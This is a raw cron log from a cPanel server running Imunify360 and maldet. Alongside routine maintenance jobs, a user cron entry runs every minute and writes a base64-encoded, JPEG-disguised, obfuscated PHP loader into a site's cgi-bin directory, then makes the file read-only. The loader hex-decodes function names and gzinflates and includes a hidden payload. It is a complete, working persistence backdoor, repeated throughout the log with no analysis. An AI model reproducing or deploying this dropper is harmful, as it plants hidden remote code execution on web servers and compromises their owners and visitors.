Sep 11 06:44:01 server CROND[13717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:44:01 server CROND[13718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:44:01 server CROND[13719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:45:01 server CROND[14105]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 06:45:01 server CROND[14114]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 06:45:01 server CROND[14115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:45:01 server CROND[14118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:45:01 server CROND[14113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:45:01 server CROND[14116]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:45:01 server CROND[14117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:46:01 server CROND[14918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:46:01 server CROND[14919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:46:01 server CROND[14920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:47:01 server CROND[15301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:47:01 server CROND[15300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:47:01 server CROND[15302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:48:01 server CROND[15772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:48:01 server CROND[15771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:48:01 server CROND[15773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:49:01 server CROND[16145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:49:01 server CROND[16146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:49:01 server CROND[16147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:50:01 server CROND[16536]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 06:50:01 server CROND[16538]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 06:50:01 server CROND[16537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:50:01 server CROND[16544]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 06:50:01 server CROND[16548]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:50:01 server CROND[16545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:50:01 server CROND[16543]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 06:50:01 server CROND[16542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:50:01 server CROND[16546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:51:01 server CROND[17381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:51:01 server CROND[17382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:51:01 server CROND[17384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:52:01 server CROND[17756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:52:01 server CROND[17757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:52:01 server CROND[17758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:53:01 server CROND[18138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:53:01 server CROND[18139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:53:01 server CROND[18140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:54:01 server CROND[18653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:54:01 server CROND[18654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:54:01 server CROND[18655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:55:01 server CROND[19035]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 06:55:01 server CROND[19036]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:55:01 server CROND[19037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:55:01 server CROND[19038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:55:02 server CROND[19042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:55:02 server CROND[19039]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 06:55:02 server CROND[19041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
